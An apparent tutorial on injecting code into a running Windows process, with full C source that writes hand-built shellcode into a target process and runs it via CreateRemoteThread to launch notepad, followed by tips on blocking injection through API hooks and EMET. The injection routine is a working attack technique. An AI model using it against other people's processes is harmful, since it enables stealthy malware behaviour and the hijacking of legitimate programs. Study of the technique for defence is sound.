Introduction
We will see the different steps involved to perform a code injection into an already running process.
Following are the quick steps through the process of injection.
- Get the API addresses that you will be calling from the injected code.
- Prepare shell code of your function that you want to get executed from the injected process.
- Get the process ID of the running process that you wish to inject into by enumerating through the list of processes or by finding the process's window (in case it's a GUI application) by class name or title.
- Open the process using its Pid with All Access rights.
- Allocate different memory spaces in the process that you are going to inject to with desired access rights for holding different segments of your shell code.
- Code part (executable instructions)
- Data part (strings, function parameters, etc.)
- Write the allocated memories with the respective values (code and data).
- Call
CreateRemoteThread
API and pass to it the start of allocated memory address where you have written your shell code from the process we are injecting.
Code
#include <windows.h>
#pragma comment(lib,"user32.lib")
LPVOID addr;
LPVOID addr2;
BOOL InjectExecutable(DWORD dwPid,LPVOID si,LPVOID pi,int sisize,int pisize)
{
LPVOID hNewModule;
HANDLE hProcess;
CHAR S[] = { "C:\\Windows\\notepad.exe" };
BYTE byt[] = {0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x01, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x68};
BYTE byt2[] = {0xE8};
BYTE byt3[] = {0x68};
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
return FALSE;
}
LPVOID staddr = VirtualAllocEx(hProcess, NULL, sizeof(S), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, staddr, S, sizeof(S), NULL);
LPVOID fnaddr = VirtualAllocEx(hProcess, NULL, 4, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, fnaddr, si, sisize, NULL);
LPVOID fnaddr2 = VirtualAllocEx(hProcess, NULL, 4, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, fnaddr2, pi, pisize, NULL);
hNewModule = VirtualAllocEx(hProcess, NULL, 100, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (hNewModule == NULL)
{
return FALSE;
}
LPTHREAD_START_ROUTINE strtaddr = (LPTHREAD_START_ROUTINE)hNewModule;
WriteProcessMemory(hProcess, hNewModule, byt3, sizeof(byt3), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(byt3));
WriteProcessMemory(hProcess, hNewModule, &fnaddr, sizeof(fnaddr), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(fnaddr));
WriteProcessMemory(hProcess, hNewModule, byt3, sizeof(byt3), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(byt3));
WriteProcessMemory(hProcess, hNewModule, &fnaddr2, sizeof(fnaddr2), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(fnaddr2));
WriteProcessMemory(hProcess, hNewModule, byt, sizeof(byt), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(byt));
WriteProcessMemory(hProcess, hNewModule, &staddr, sizeof(staddr), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(staddr));
WriteProcessMemory(hProcess, hNewModule, byt2, sizeof(byt2), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(byt2));
addr = (LPVOID)((int)addr - ((int)hNewModule + 4));
WriteProcessMemory(hProcess, hNewModule, &addr, sizeof(addr), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(addr));
WriteProcessMemory(hProcess, hNewModule, byt, 2, NULL);
hNewModule = (LPVOID)((int)hNewModule + 2);
WriteProcessMemory(hProcess, hNewModule, byt2, sizeof(byt2), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(byt2));
addr2 = (LPVOID)((int)addr2 - ((int)hNewModule + 4));
WriteProcessMemory(hProcess, hNewModule, &addr2, sizeof(addr2), NULL);
CreateRemoteThread(hProcess, 0, 0, strtaddr, NULL, 0, NULL);
return TRUE;
}
void main()
{
_STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
DWORD dwPid;
HMODULE ldlib = LoadLibraryA("Kernel32.dll");
addr = GetProcAddress(ldlib, "CreateProcessA");
addr2 = GetProcAddress(ldlib, "ExitThread");
GetWindowThreadProcessId(FindWindow(NULL, L"Start Menu"), &dwPid);
InjectExecutable(dwPid,&si,&pi,sizeof(si),sizeof(pi));
}
A different approach for code injection is shown in the following listing which does not include any hard coded bytes and can be used for 32 bit and 64 bit versions.
How to Prevent Code Injection
Its quite hard to block code injection using standard rules of programming. Blocking this would require a hacker's perspective where you will have to hook few APIs to monitor your process for any foreign code.
Although there are many security measures implemented by Windows to block these kind of techniques like DEP (data execution prevention) ASLR, they won't help much in the scenario of the above code.
To block code injection of type that's shown above in my program and also of type 'DLL injection', here are few tips.
Hook VirtualAllocEx
API which is used to get a memory space in the required process and on each call of this API your hooked code will verify whether the process handle to this API refers to your process and if so, block this call and return.
Hook LoadLibrary
In your hook, you check against a list of DLL names that you know are part of the process and that may be loaded, or you can check against a list of known DLLs you don't want to load.
When you find a DLL, you don't want to load SetLastError(ERROR_ACCESS_DENIED)
then return NULL
. I set the last error so that people that write code looking for an error code get one. This appears to work, perhaps a different code may be more appropriate.
That will stop the DLL from loading.
Also, monitoring CreateRemoteThread
API can help you defend your application against injection.
Also, I will recommend you to go through an article listed below which shows different methods of injection and you can then develop your own solution to prevent them after a little workaround.
*Important: Installing EMET will be very useful to mitigate many such attacking techniques.
Download EMET for free from Microsoft